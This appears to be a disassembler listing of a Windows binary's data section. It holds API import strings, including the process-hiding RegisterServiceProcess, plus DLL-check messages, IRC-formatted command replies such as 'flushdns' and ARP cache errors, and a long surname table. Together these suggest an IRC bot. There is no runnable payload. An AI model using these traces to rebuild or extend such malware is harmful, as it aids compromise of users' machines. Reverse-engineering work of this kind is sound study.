aIswindow	db 'IsWindow',0         ; DATA XREF: sub_409B12+15Fo
		align 4
aFindwindowa	db 'FindWindowA',0      ; DATA XREF: sub_409B12+152o
aSendmessagea	db 'SendMessageA',0     ; DATA XREF: sub_409B12+14Ao
		align 4
aUser32_dll	db 'user32.dll',0       ; DATA XREF: sub_409B12:loc_409C47o
					; sub_424D78+Do
		align 10h
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_409B12:loc_409C1Ao
		align 4
aQueryperform_0	db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_409B12+A0o
		align 4
aQueryperforman	db 'QueryPerformanceCounter',0 ; DATA XREF: sub_409B12+93o
aSearchpatha	db 'SearchPathA',0      ; DATA XREF: sub_409B12+86o
aGetdrivetypea	db 'GetDriveTypeA',0    ; DATA XREF: sub_409B12+79o
		align 4
aGetlogicaldriv	db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_409B12+6Co
aGetdiskfreespa	db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_409B12+5Fo
aModule32first	db 'Module32First',0    ; DATA XREF: sub_409B12+52o
		align 4
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_409B12+45o
		align 4
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_409B12+38o
		align 4
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_409B12+2Bo
		align 10h
aSeterrormode	db 'SetErrorMode',0     ; DATA XREF: sub_409B12+23o
		align 10h
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_409B12+Ao
		align 10h
unk_432C30	db  2Dh	; -		; DATA XREF: sub_40A7CE+2F2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aDllTestComplet	db 'DLL test complete.',0
		align 10h
aAvicap32_dllFa	db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+2CCo
		align 4
aOdbc32_dllFail	db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+298o
aShell32_dllFai	db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+264o
		align 10h
aMpr32_dllFaile	db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+230o
		align 4
aIphlpapi_dllFa	db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+1FCo
		align 4
aDnsapi_dllFail	db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+1C8o
aNetapi32_dllFa	db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+194o
		align 4
aIcmp_dllFailed	db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+160o
		align 10h
aWininet_dllFai	db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+12Co
		align 4
aWs2_32_dllFail	db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+F8o
aGdi32_dllFaile	db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+C4o
		align 4
aAdvapi32_dllFa	db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+90o
		align 4
aUser32_dllFail	db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+5Co
aKernel32_dllFa	db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+28o
		align 4
a_:					; DATA XREF: sub_40F96A+252o
		unicode	0, <.>,0
unk_432DC0	db  2Dh	; -		; DATA XREF: sub_40AB31:loc_40ABF0o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aNotSupportedBy	db 'not supported by this system',0
		align 10h
unk_432DF0	db  2Dh	; -		; DATA XREF: sub_40AB31:loc_40ABBEo
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aUnableToAlloca	db 'unable to allocate ARP cache',0
		align 10h
unk_432E20	db  2Dh	; -		; DATA XREF: sub_40AB31:loc_40AB8Ao
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aArpCacheIsEmpt	db 'ARP cache is empty',0
		align 4
unk_432E44	db  2Dh	; -		; DATA XREF: sub_40AB31+49o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aErrorGettingAr	db 'error getting ARP cache: %d',0
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_40AC0F+46o
					; sub_40BFEB+38o
		align 10h
aReal		db 'real',0
		align 4
		dd 0
dword_432E8C	dd 0			; DATA XREF: sub_40B08D+7o
off_432E90	dd offset sub_40ACB5	; DATA XREF: sub_40B08D+49r
aConst		db 'const',0
		align 10h
		dd 1, 40AD22h, 7474656Ch, 7265h, 0
		dd 2, 40AD80h, 706D6F63h, 2 dup(0)
		dd 3, 40ADCDh, 6E756F63h, 797274h, 0
		dd 4, 40AE6Bh, 736Fh, 2	dup(0)
		dd 5, 40AEE0h
off_432EF8	dd offset aAbdulrazak	; DATA XREF: sub_40ACB5+21r
					; "Abdulrazak"
		dd offset aAckerman	; "Ackerman"
		dd offset aAdams	; "Adams"
off_432F04	dd offset aAddison	; DATA XREF: sub_40B08D+39o
					; "Addison"
		dd offset aAdelstein	; "Adelstein"
		dd offset aAdibe	; "Adibe"
		dd offset aAdorno	; "Adorno"
		dd offset aAhlers	; "Ahlers"
		dd offset aAlavi	; "Alavi"
		dd offset aAlcorn	; "Alcorn"
		dd offset aAlda		; "Alda"
		dd offset aAleks	; "Aleks"
		dd offset aAllison_0	; "Allison"
		dd offset aAlongi	; "Alongi"
		dd offset aAltavilla	; "Altavilla"
		dd offset aAltenberger	; "Altenberger"
		dd offset aAltenhofen	; "Altenhofen"
		dd offset aAmaral	; "Amaral"
		dd offset aAmatangelo	; "Amatangelo"
		dd offset aAmeer	; "Ameer"
		dd offset aAmsden	; "Amsden"
		dd offset aAnand	; "Anand"
		dd offset aAndel	; "Andel"
		dd offset aAndo		; "Ando"
		dd offset aAndrelus	; "Andrelus"
		dd offset aAndron	; "Andron"
		dd offset aAnfinrud	; "Anfinrud"
		dd offset aAnsley	; "Ansley"
		dd offset aAnthony	; "Anthony"
		dd offset aAntos	; "Antos"
		dd offset aArbia	; "Arbia"
		dd offset aArduini	; "Arduini"
		dd offset aArellano	; "Arellano"
		dd offset aAristotle	; "Aristotle"
		dd offset aArjas	; "Arjas"
		dd offset aArky		; "Arky"
		dd offset aAtkins	; "Atkins"
		dd offset aAugustus	; "Augustus"
		dd offset aAurelius	; "Aurelius"
		dd offset aAxelrod	; "Axelrod"
		dd offset aAxworthy	; "Axworthy"
		dd offset aAyiemba	; "Ayiemba"
		dd offset aAykroyd	; "Aykroyd"
		dd offset aAyling	; "Ayling"
		dd offset aAzima	; "Azima"
		dd offset aBachmuth	; "Bachmuth"
		dd offset aBackus	; "Backus"
		dd offset aBady		; "Bady"
		dd offset aBaglivo	; "Baglivo"
		dd offset aBagnold	; "Bagnold"
		dd offset aBailar	; "Bailar"
		dd offset aBakanowsky	; "Bakanowsky"
		dd offset aBaleja	; "Baleja"
		dd offset aBallatori	; "Ballatori"
		dd offset aBallew	; "Ballew"
		dd offset aBaltz	; "Baltz"
		dd offset aBanta	; "Banta"
		dd offset aBarabesi	; "Barabesi"
		dd offset aBarajas	; "Barajas"
		dd offset aBaranczak	; "Baranczak"
		dd offset aBaranowska	; "Baranowska"
		dd offset aBarberi	; "Barberi"
		dd offset aBarbetti	; "Barbetti"
		dd offset aBarneson	; "Barneson"
		dd offset aBarnett	; "Barnett"
		dd offset aBarriola	; "Barriola"
		dd offset aBarry	; "Barry"
		dd offset aBartholomew	; "Bartholomew"
		dd offset aBartolome	; "Bartolome"
		dd offset aBartoo	; "Bartoo"
		dd offset aBasavappa	; "Basavappa"
		dd offset aBashevis	; "Bashevis"
		dd offset aBatchelder	; "Batchelder"
		dd offset aBaumiller	; "Baumiller"
		dd offset aBayles	; "Bayles"
		dd offset aBayo		; "Bayo"
		dd offset aBeacon	; "Beacon"
		dd offset aBeal		; "Beal"
		dd offset aBean		; "Bean"
		dd offset aBeckman	; "Beckman"
		dd offset aBeder	; "Beder"
		dd offset aBedford	; "Bedford"
		dd offset aBehenna	; "Behenna"
		dd offset aBelanger	; "Belanger"
		dd offset aBelaoussof	; "Belaoussof"
		dd offset aBelfer	; "Belfer"
		dd offset aBelinCollart	; "Belin-Collart"
		dd offset aBellavance	; "Bellavance"
		dd offset aBellhouse	; "Bellhouse"
		dd offset aBellini	; "Bellini"
		dd offset aBelloc	; "Belloc"
		dd offset aBenedictDye	; "Benedict-Dye"
		dd offset aBergson	; "Bergson"
		dd offset aBerkeJenkins	; "Berke-Jenkins"
		dd offset aBernardo	; "Bernardo"
		dd offset aBernassola	; "Bernassola"
		dd offset aBernston	; "Bernston"
		dd offset aBerrizbeitia	; "Berrizbeitia"
		dd offset aBetti	; "Betti"
		dd offset aBeynart	; "Beynart"
		dd offset aBiagioli	; "Biagioli"
		dd offset aBickel	; "Bickel"
		dd offset aBinion	; "Binion"
		dd offset aBir		; "Bir"
		dd offset aBisema	; "Bisema"
		dd offset aBisho	; "Bisho"
		dd offset aBlackbourn	; "Blackbourn"
		dd offset aBlackwell	; "Blackwell"
		dd offset aBlagg	; "Blagg"
		dd offset aBlakemore	; "Blakemore"
		dd offset aBlanke	; "Blanke"
		dd offset aBliss	; "Bliss"
		dd offset aBlizard	; "Blizard"
		dd offset aBloch	; "Bloch"
		dd offset aBloembergen	; "Bloembergen"
		dd offset aBloemhof	; "Bloemhof"
		dd offset aBloxham	; "Bloxham"
		dd offset aBlyth	; "Blyth"
		dd offset aBolger	; "Bolger"
		dd offset aBolick	; "Bolick"
		dd offset aBollinger	; "Bollinger"
		dd offset aBologna	; "Bologna"
		dd offset aBoner_0	; "Boner"
		dd offset aBonham	; "Bonham"
		dd offset aBoniface	; "Boniface"
		dd offset aBontempo	; "Bontempo"
		dd offset aBook_0	; "Book"
		dd offset aBookbinder	; "Bookbinder"
		dd offset aBoone	; "Boone"
		dd offset aBoorstin	; "Boorstin"
		dd offset aBorack	; "Borack"
		dd offset aBorden	; "Borden"
		dd offset aBossi	; "Bossi"
		dd offset aBothman	; "Bothman"
		dd offset aBotosh	; "Botosh"
		dd offset aBoudin	; "Boudin"
		dd offset aBoudrot	; "Boudrot"
		dd offset aBourneuf	; "Bourneuf"
		dd offset aBowers	; "Bowers"
		dd offset aBoxer	; "Boxer"
		dd offset aBoyajian	; "Boyajian"
		dd offset aBoyes	; "Boyes"
		dd offset aBoyland	; "Boyland"
		dd offset aBoym		; "Boym"
		dd offset aBoyne	; "Boyne"
		dd offset aBracalente	; "Bracalente"
		dd offset aBradac	; "Bradac"
		dd offset aBradach	; "Bradach"
		dd offset aBrecht	; "Brecht"
		dd offset aBreed	; "Breed"
		dd offset aBrenan	; "Brenan"
		dd offset aBrennan	; "Brennan"
		dd offset aBrewer	; "Brewer"
		dd offset aBrewer	; "Brewer"
		dd offset aBridgeman	; "Bridgeman"
		dd offset aBridges	; "Bridges"
		dd offset aBrinton	; "Brinton"
		dd offset aBritz	; "Britz"
		dd offset aBroca	; "Broca"
		dd offset aBrook	; "Brook"
		dd offset aBrzycki	; "Brzycki"
		dd offset aBuchan	; "Buchan"
		dd offset aBudding	; "Budding"
		dd offset aBullard	; "Bullard"
		dd offset aBunton	; "Bunton"
		dd offset aBurden	; "Burden"
		dd offset aBurdzy	; "Burdzy"
		dd offset aBurke	; "Burke"
		dd offset aBurridge	; "Burridge"
		dd offset aBusetta	; "Busetta"
		dd offset aByatt	; "Byatt"
		dd offset aByerly	; "Byerly"
		dd offset aByrd		; "Byrd"
		dd offset aCage		; "Cage"
		dd offset aCalnan	; "Calnan"
		dd offset aCammelli	; "Cammelli"
		dd offset aCammilleri	; "Cammilleri"
		dd offset aCanley	; "Canley"
		dd offset aCapanni	; "Capanni"
		dd offset aCaperton	; "Caperton"
		dd offset aCapocaccia	; "Capocaccia"
		dd offset aCapodilupo	; "Capodilupo"
		dd offset aCappuccio	; "Cappuccio"
		dd offset aCapursi	; "Capursi"
		dd offset aCaratozzolo	; "Caratozzolo"
		dd offset aCarayannopoulo ; "Carayannopoulos"
		dd offset aCarlin	; "Carlin"
		dd offset aCarlos	; "Carlos"
		dd offset aCarlyle	; "Carlyle"
		dd offset aCarmichael	; "Carmichael"
		dd offset aCaroti	; "Caroti"
		dd offset aCarper	; "Carper"
		dd offset aCartmill	; "Cartmill"
		dd offset aCascio	; "Cascio"
		dd offset aCase		; "Case"
		dd offset aCaspar	; "Caspar"
		dd offset aCastelda	; "Castelda"
		dd offset aCavanagh	; "Cavanagh"
		dd offset aCavell	; "Cavell"
		dd offset aCeniceros	; "Ceniceros"
		dd offset aCerioli	; "Cerioli"
		dd offset aChapman	; "Chapman"
		dd offset aCharles_0	; "Charles"
		dd offset aCheang	; "Cheang"
		dd offset aCherry	; "Cherry"
		dd offset aChervinsky	; "Chervinsky"
		dd offset aChiassino	; "Chiassino"
		dd offset aChien	; "Chien"
		dd offset aChildress	; "Childress"
		dd offset aChilds	; "Childs"
		dd offset aChinipardaz	; "Chinipardaz"
		dd offset aChinman	; "Chinman"
		dd offset aChristenson	; "Christenson"
		dd offset aChristian	; "Christian"
		dd offset aChristiano	; "Christiano"
		dd offset aChristie	; "Christie"
		dd offset aChristopher	; "Christopher"
		dd offset aChu		; "Chu"
		dd offset aChupasko	; "Chupasko"
		dd offset aChurch	; "Church"
		dd offset aCiampaglia	; "Ciampaglia"
		dd offset aCicero	; "Cicero"
		dd offset aCifarelli	; "Cifarelli"
		dd offset aClaffey	; "Claffey"
		dd offset aClancy	; "Clancy"
		dd offset aClark	; "Clark"
		dd offset aClement	; "Clement"
		dd offset aClifton	; "Clifton"
		dd offset aClow		; "Clow"
		dd offset aCoblenz	; "Coblenz"
		dd offset aCoito	; "Coito"
		dd offset aColdren	; "Coldren"
		dd offset aColella	; "Colella"
		dd offset aCollard	; "Collard"
		dd offset aCollis	; "Collis"
		dd offset aCompton	; "Compton"
		dd offset aCompton	; "Compton"
		dd offset aComstock	; "Comstock"
		dd offset aConcino	; "Concino"
		dd offset aCondodina	; "Condodina"
		dd offset aConnors	; "Connors"
		dd offset aCorey	; "Corey"
		dd offset aCornish	; "Cornish"
		dd offset aCosmides	; "Cosmides"
		dd offset aCounter	; "Counter"
		dd offset aCoutaux	; "Coutaux"
		dd offset aCrawford	; "Crawford"
		dd offset aCrocker	; "Crocker"
		dd offset aCroshaw	; "Croshaw"
		dd offset aCroxen	; "Croxen"
		dd offset aCroxton	; "Croxton"
		dd offset aCui		; "Cui"
		dd offset aCurrier	; "Currier"
		dd offset aCutler	; "Cutler"
		dd offset aCvek		; "Cvek"
		dd offset aCyders	; "Cyders"
		dd offset aDasilva	; "daSilva"
		dd offset aDaldalian	; "Daldalian"
		dd offset aDaly		; "Daly"
		dd offset aDAmbra	; "D'Ambra"
		dd offset aDanieli	; "Danieli"
		dd offset aDante	; "Dante"
		dd offset aDapice	; "Dapice"
		dd offset aDArcangelo	; "D'arcangelo"
		dd offset aDas		; "Das"
		dd offset aDasgupta	; "Dasgupta"
		dd offset aDaskalu	; "Daskalu"
		dd offset aDavid	; "David"
		dd offset aDawkins	; "Dawkins"
		dd offset aDegennaro	; "DeGennaro"
		dd offset aDelapena	; "DeLaPena"
		dd offset aDelEnclos	; "del'Enclos"
		dd offset aDerousse	; "deRousse"
		dd offset aDebroff	; "Debroff"
		dd offset aDees		; "Dees"
		dd offset aDefeciani	; "Defeciani"
		dd offset aDelattre	; "Delattre"
		dd offset aDeleonRendon	; "Deleon-Rendon"
		dd offset aDelger	; "Delger"
		dd offset aDellAcqua	; "Dell'acqua"
		dd offset aDeming	; "Deming"
		dd offset aDempster	; "Dempster"
		dd offset aDemusz	; "Demusz"
		dd offset aDenault	; "Denault"
		dd offset aDenham	; "Denham"
		dd offset aDenison	; "Denison"
		dd offset aDesombre	; "Desombre"
		dd offset aDeutsch	; "Deutsch"
		dd offset aDFini	; "D'fini"
		dd offset aDicks	; "Dicks"
		dd offset aDiefenbach	; "Diefenbach"
		dd offset aDifabio	; "Difabio"
		dd offset aDifronzo	; "Difronzo"
		dd offset aDilworth	; "Dilworth"
		dd offset aDionysius	; "Dionysius"
		dd offset aDirksen	; "Dirksen"
		dd offset aDockery	; "Dockery"
		dd offset aDoherty	; "Doherty"
		dd offset aDonahue	; "Donahue"
		dd offset aDonner	; "Donner"
		dd offset aDoonan	; "Doonan"
		dd offset aDore		; "Dore"
		dd offset aDorf		; "Dorf"
		dd offset aDosi		; "Dosi"
		dd offset aDoty		; "Doty"
		dd offset aDoug		; "Doug"
		dd offset aDowsland	; "Dowsland"
		dd offset aDrinker	; "Drinker"
		dd offset aDSouza	; "D'souza"
		dd offset aDuffin	; "Duffin"
		dd offset aDurrett	; "Durrett"
		dd offset aDussault	; "Dussault"
		dd offset aDwyer	; "Dwyer"
		dd offset aEardley	; "Eardley"
		dd offset aEbeling	; "Ebeling"
		dd offset aEckel	; "Eckel"
		dd offset aEdley	; "Edley"
		dd offset aEdner	; "Edner"
		dd offset aEdward	; "Edward"
		dd offset aEickenhorst	; "Eickenhorst"
		dd offset aEliasson	; "Eliasson"
		dd offset aElmendorf	; "Elmendorf"
		dd offset aElmerick	; "Elmerick"
		dd offset aElvis	; "Elvis"
		dd offset aEncinas	; "Encinas"
		dd offset aEnyeart	; "Enyeart"
		dd offset aEppling	; "Eppling"
		dd offset aErbach	; "Erbach"
		dd offset aErdman	; "Erdman"
		dd offset aErdos	; "Erdos"
		dd offset aErez		; "Erez"
		dd offset aEspinoza	; "Espinoza"
		dd offset aEstes	; "Estes"
		dd offset aEtter	; "Etter"
		dd offset aEuripides	; "Euripides"
		dd offset aEverett	; "Everett"
		dd offset aFabbris	; "Fabbris"
		dd offset aFagan	; "Fagan"
		dd offset aFaioes	; "Faioes"
		dd offset aFalcoAcosta	; "Falco-Acosta"
		dd offset aFalorsi	; "Falorsi"
		dd offset aFaris	; "Faris"
		dd offset aFarone	; "Farone"
		dd offset aFarren	; "Farren"
		dd offset aFasso	; "Fasso'"
		dd offset aFates	; "Fates"
		dd offset aFeigenbaum	; "Feigenbaum"
		dd offset aFejzo	; "Fejzo"
		dd offset aFeldman	; "Feldman"
		dd offset aFernald	; "Fernald"
		dd offset aFernandes	; "Fernandes"
		dd offset aFerrante	; "Ferrante"
		dd offset aFerriell	; "Ferriell"
		dd offset aFeuer	; "Feuer"
		dd offset aFido		; "Fido"
		dd offset aField_0	; "Field"
		dd offset aFink		; "Fink"
		dd offset aFinkelstein	; "Finkelstein"
		dd offset aFinnegan	; "Finnegan"
		dd offset aFiorina	; "Fiorina"
		dd offset aFisk		; "Fisk"
		dd offset aFitzmaurice	; "Fitzmaurice"
		dd offset aFlier	; "Flier"
		dd offset aFlores	; "Flores"
		dd offset aFolks	; "Folks"
		dd offset aForester	; "Forester"
		dd offset aFortes	; "Fortes"
		dd offset aFortier	; "Fortier"
		dd offset aFossey	; "Fossey"
		dd offset aFossi	; "Fossi"
		dd offset aFrancisco	; "Francisco"
		dd offset aFranklinKenea ; "Franklin-Kenea"
		dd offset aFranz	; "Franz"
		dd offset aFrazierDavis	; "Frazier-Davis"
		dd offset aFreid	; "Freid"
		dd offset aFreundlich	; "Freundlich"
		dd offset aFried	; "Fried"
		dd offset aFriedland	; "Friedland"
		dd offset aFrisken	; "Frisken"
		dd offset aFrowiss	; "Frowiss"
		dd offset aFryberger	; "Fryberger"
		dd offset aFrye		; "Frye"
		dd offset aFujiiAbe	; "Fujii-Abe"
		dd offset aFuller	; "Fuller"
		dd offset aFurth	; "Furth"
		dd offset aFusaro	; "Fusaro"
		dd offset aGabrielli	; "Gabrielli"
		dd offset aGaggiotti	; "Gaggiotti"
		dd offset aGaleotti	; "Galeotti"
		dd offset aGalwey	; "Galwey"
		dd offset aGambini	; "Gambini"
		dd offset aGarfield_0	; "Garfield"
		dd offset aGarman	; "Garman"
		dd offset aGaronna	; "Garonna"
		dd offset aGeller	; "Geller"
		dd offset aGemberling	; "Gemberling"
		dd offset aGeorgi	; "Georgi"
		dd offset aGerrett	; "Gerrett"
		dd offset aGhorai	; "Ghorai"
		dd offset aGibbens	; "Gibbens"
		dd offset aGibson_0	; "Gibson"
		dd offset aGilbert	; "Gilbert"
		dd offset aGili		; "Gili"
		dd offset aGill		; "Gill"
		dd offset aGillispie	; "Gillispie"
		dd offset aGist		; "Gist"
		dd offset aGleason	; "Gleason"
		dd offset aGlegg	; "Glegg"
		dd offset aGlendon	; "Glendon"
		dd offset aGoldfarb	; "Goldfarb"
		dd offset aGoncalves	; "Goncalves"
		dd offset aGood_0	; "Good"
		dd offset aGoodearl	; "Goodearl"
		dd offset aGoody	; "Goody"
		dd offset aGozzi	; "Gozzi"
		dd offset aGravell	; "Gravell"
		dd offset aGreenberg	; "Greenberg"
		dd offset aGreenfeld	; "Greenfeld"
		dd offset aGriffiths	; "Griffiths"
		dd offset aGrigoletto	; "Grigoletto"
		dd offset aGrummell	; "Grummell"
		dd offset aGruner	; "Gruner"
		dd offset aGruppe	; "Gruppe"
		dd offset aGuenthart	; "Guenthart"
		dd offset aGunn		; "Gunn"
		dd offset aGuo		; "Guo"
		dd offset aHa		; "Ha"
		dd offset aHaar		; "Haar"
		dd offset aHackman	; "Hackman"
		dd offset aHackshaw	; "Hackshaw"
		dd offset aHaley	; "Haley"
		dd offset aHalkias	; "Halkias"
		dd offset aHallowell	; "Hallowell"
		dd offset aHalpert	; "Halpert"
		dd offset aHambarzumjan	; "Hambarzumjan"
		dd offset aHamer	; "Hamer"
		dd offset aHammerness	; "Hammerness"
		dd offset aHand		; "Hand"
		dd offset aHanssen	; "Hanssen"
		dd offset aHarding	; "Harding"
		dd offset aHargraves	; "Hargraves"
		dd offset aHarlow	; "Harlow"
		dd offset aHarrigan	; "Harrigan"
		dd offset aHartman	; "Hartman"
		dd offset aHartmann	; "Hartmann"
		dd offset aHartnett	; "Hartnett"
		dd offset aHarwell	; "Harwell"
		dd offset aHaviaras	; "Haviaras"
		dd offset aHawkes	; "Hawkes"
		dd offset aHayes	; "Hayes"
		dd offset aHaynes	; "Haynes"
		dd offset aHazlewood	; "Hazlewood"
		dd offset aHeermans	; "Heermans"
		dd offset aHeft		; "Heft"
		dd offset aHeiland	; "Heiland"
		dd offset aHellman	; "Hellman"
		dd offset aHellmiss	; "Hellmiss"
		dd offset aHelprin	; "Helprin"
		dd offset aHemphill	; "Hemphill"
		dd offset aHenery	; "Henery"
		dd offset aHenrichs	; "Henrichs"
		dd offset aHernandez	; "Hernandez"
		dd offset aHerrera	; "Herrera"
		dd offset aHester	; "Hester"
		dd offset aHeubert	; "Heubert"
		dd offset aHeyeck	; "Heyeck"
		dd offset aHimmelfarb	; "Himmelfarb"
		dd offset aHind		; "Hind"
		dd offset aHirst	; "Hirst"
		dd offset aHitchcock	; "Hitchcock"
		dd offset aHoang	; "Hoang"
		dd offset aHock		; "Hock"
		dd offset aHoffer	; "Hoffer"
		dd offset aHoffman	; "Hoffman"
		dd offset aHokanson	; "Hokanson"
		dd offset aHokoda	; "Hokoda"
		dd offset aHolmes	; "Holmes"
		dd offset aHoloien	; "Holoien"
		dd offset aHolter	; "Holter"
		dd offset aHolway	; "Holway"
		dd offset aHolzman	; "Holzman"
		dd offset aHooker_0	; "Hooker"
		dd offset aHopkins	; "Hopkins"
		dd offset aHorsley	; "Horsley"
		dd offset aHoshida	; "Hoshida"
		dd offset aHostage	; "Hostage"
		dd offset aHottle	; "Hottle"
		dd offset aHoward	; "Howard"
		dd offset aHoy		; "Hoy"
		dd offset aHuey		; "Huey"
		dd offset aHuidekoper	; "Huidekoper"
		dd offset aHungerford	; "Hungerford"
		dd offset aHuntington	; "Huntington"
		dd offset aHupp		; "Hupp"
		dd offset aHurtubise	; "Hurtubise"
		dd offset aHutchings	; "Hutchings"
		dd offset aHyde		; "Hyde"
		dd offset aIaquinta	; "Iaquinta"
		dd offset aIchikawa	; "Ichikawa"
		dd offset aIgarashi	; "Igarashi"
		dd offset aInamura	; "Inamura"
		dd offset aInniss	; "Inniss"
		dd offset aIsaac	; "Isaac"
		dd offset aIsaievych	; "Isaievych"
		dd offset aIsbill	; "Isbill"
		dd offset aIsserman	; "Isserman"
		dd offset aIyer		; "Iyer"
		dd offset aJacenko	; "Jacenko"
		dd offset aJackson	; "Jackson"
		dd offset aJagers	; "Jagers"
		dd offset aJagger	; "Jagger"
		dd offset aJagoe	; "Jagoe"
		dd offset aJain		; "Jain"
		dd offset aJamil	; "Jamil"
		dd offset aJanjigian	; "Janjigian"
		dd offset aJarnagin	; "Jarnagin"
		dd offset aJarrell	; "Jarrell"
		dd offset aJay		; "Jay"
		dd offset aJeffers	; "Jeffers"
		dd offset aJellis	; "Jellis"
		dd offset aJenkins	; "Jenkins"
		dd offset aJespersen	; "Jespersen"
		dd offset aJewett	; "Jewett"
		dd offset aJohannesson	; "Johannesson"
		dd offset aJohannsen	; "Johannsen"
		dd offset aJohns	; "Johns"
		dd offset aJolly	; "Jolly"
		dd offset aJorgensen	; "Jorgensen"
		dd offset aJucks	; "Jucks"
		dd offset aJuliano	; "Juliano"
		dd offset aJulious	; "Julious"
		dd offset aKabbash	; "Kabbash"
		dd offset aKaboolian	; "Kaboolian"
		dd offset aKafadar	; "Kafadar"
		dd offset aKalbfleisch	; "Kalbfleisch"
		dd offset aKaligian	; "Kaligian"
		dd offset aKalil	; "Kalil"
		dd offset aKalinowski	; "Kalinowski"
		dd offset aKalman	; "Kalman"
		dd offset aKamel	; "Kamel"
		dd offset aKangis	; "Kangis"
		dd offset aKarpouzes	; "Karpouzes"
		dd offset aKassower	; "Kassower"
		dd offset aKasten	; "Kasten"
		dd offset aKawachi	; "Kawachi"
		dd offset aKee		; "Kee"
		dd offset aKeenan	; "Keenan"
		dd offset aKeepper	; "Keepper"
		dd offset aKeith	; "Keith"
		dd offset aKelker	; "Kelker"
		dd offset aKelsey	; "Kelsey"
		dd offset aKempton	; "Kempton"
		dd offset aKemsley	; "Kemsley"
		dd offset aKendall	; "Kendall"
		dd offset aKerry_0	; "Kerry"
		dd offset aKeul		; "Keul"
		dd offset aKhong	; "Khong"
		dd offset aKimmel	; "Kimmel"
		dd offset aKimmett	; "Kimmett"
		dd offset aKimura	; "Kimura"
		dd offset aKindall	; "Kindall"
		dd offset aKinsley	; "Kinsley"
		dd offset aKippenberger	; "Kippenberger"
		dd offset aKirscht	; "Kirscht"
		dd offset aKittridge	; "Kittridge"
		dd offset aKleckner	; "Kleckner"
		dd offset aKleiman	; "Kleiman"
		dd offset aKleinfelder	; "Kleinfelder"
		dd offset aKlemperer	; "Klemperer"
		dd offset aKling	; "Kling"
		dd offset aKlinkenborg	; "Klinkenborg"
		dd offset aKlint	; "Klint"
		dd offset aKnuff	; "Knuff"
		dd offset aKobrick	; "Kobrick"
		dd offset aKoch		; "Koch"
		dd offset aKohn		; "Kohn"
		dd offset aKoivumaki	; "Koivumaki"
		dd offset aKommer	; "Kommer"
		dd offset aKoniaris	; "Koniaris"
		dd offset aKonrad	; "Konrad"
		dd offset aKool		; "Kool"
		dd offset aKorzybski	; "Korzybski"
		dd offset aKotter	; "Kotter"
		dd offset aKovaks	; "Kovaks"
		dd offset aKraemer	; "Kraemer"
		dd offset aKrailo	; "Krailo"
		dd offset aKrasney	; "Krasney"
		dd offset aKraus	; "Kraus"
		dd offset aKroemer	; "Kroemer"
		dd offset aKrysiak	; "Krysiak"
		dd offset aKuenzli	; "Kuenzli"
		dd offset aKumar	; "Kumar"
		dd offset aKusman	; "Kusman"
		dd offset aKuwabara	; "Kuwabara"
		dd offset aLa		; "La"
		dd offset aLabunka	; "Labunka"
		dd offset aLafler	; "Lafler"
		dd offset aLaing	; "Laing"
		dd offset aLallemant	; "Lallemant"
		dd offset aLandes	; "Landes"
		dd offset aLankes	; "Lankes"
		dd offset aLantieri	; "Lantieri"
		dd offset aLanzit	; "Lanzit"
		dd offset aLaserna	; "Laserna"
		dd offset aLashley	; "Lashley"
		dd offset aLawless	; "Lawless"
		dd offset aLecar	; "Lecar"
		dd offset aLecce	; "Lecce"
		dd offset aLeclercq	; "Leclercq"
		dd offset aLeite	; "Leite"
		dd offset aLenard	; "Lenard"
		dd offset aLEnclos	; "l'Enclos"
		dd offset aLesser	; "Lesser"
		dd offset aLessi	; "Lessi"
		dd offset aLiakos	; "Liakos"
		dd offset aLidano	; "Lidano"
		dd offset aLiem		; "Liem"
		dd offset aLight_0	; "Light"
		dd offset aLightfoot	; "Lightfoot"
		dd offset aLim		; "Lim"
		dd offset aLinares	; "Linares"
		dd offset aLinda_0	; "Linda"
		dd offset aLinder	; "Linder"
		dd offset aLine		; "Line"
		dd offset aLinehan	; "Linehan"
		dd offset aLinzee	; "Linzee"
		dd offset aLippmann	; "Lippmann"
		dd offset aLipponen	; "Lipponen"
		dd offset aLittle	; "Little"
		dd offset aLitvak	; "Litvak"
		dd offset aLivernash	; "Livernash"
		dd offset aLivi		; "Livi"
		dd offset aLivolsi	; "Livolsi"
		dd offset aLizardo	; "Lizardo"
		dd offset aLocatelli	; "Locatelli"
		dd offset aLongworth	; "Longworth"
		dd offset aLoss		; "Loss"
		dd offset aLoveman	; "Loveman"
